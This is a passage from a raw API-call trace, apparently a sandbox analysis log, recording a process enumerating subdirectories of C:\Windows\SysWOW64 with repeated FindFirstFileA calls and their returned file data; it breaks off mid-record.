lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afc11b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afc11b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.246] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\IMETC10\\applets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2af9b050, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2af9b050, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.247] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\shared\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afc11b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afc11b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.248] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\IME\\shared\\res\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afc11b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afc11b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501556, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.249] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\inetsrv\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf40729a7, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.250] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afe7310, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afe7310, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.250] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x10c0f66, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x10c0f66, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f1284, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.251] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0003\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afe7310, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afe7310, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.251] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0005\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afe7310, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afe7310, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.251] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0006\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2afe7310, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2afe7310, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.252] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0007\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.252] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0008\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.253] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0009\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.253] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\000a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.254] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\000b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.254] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\000e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.254] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0010\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b00d470, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b00d470, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.255] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0011\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0335d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0335d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.255] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0012\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0335d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0335d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.256] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0013\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b059730, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b059730, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.259] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0014\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b059730, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b059730, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.260] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0015\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b059730, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b059730, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.260] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0019\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b059730, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b059730, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.261] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\001a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b07f890, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b07f890, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.261] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\001b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b07f890, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b07f890, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.261] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\001d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b07f890, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b07f890, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.262] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\001e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b07f890, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b07f890, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.262] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\001f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b07f890, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b07f890, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.263] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0021\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0a59f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0a59f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.263] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0024\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0a59f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0a59f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.263] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\002d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0a59f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0a59f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.264] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0404\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0a59f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0a59f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.264] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\040c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0cbb50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0cbb50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.265] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0416\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0cbb50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0cbb50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.265] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0804\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0cbb50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0cbb50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.266] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0816\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0cbb50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0cbb50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.266] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\InstallShield\\setupdir\\0c0c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0cbb50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0cbb50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.268] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\it-IT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b0f1cb0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b0f1cb0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.270] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\ja-JP\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b117e10, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b117e10, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.285] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\ko-KR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b1640d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b1640d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.289] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\LogFiles\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.290] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\LogFiles\\Windows Portable Devices\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.291] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\lt-LT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b1b0390, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b1b0390, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.292] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\lv-LV\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b1d64f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b1d64f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 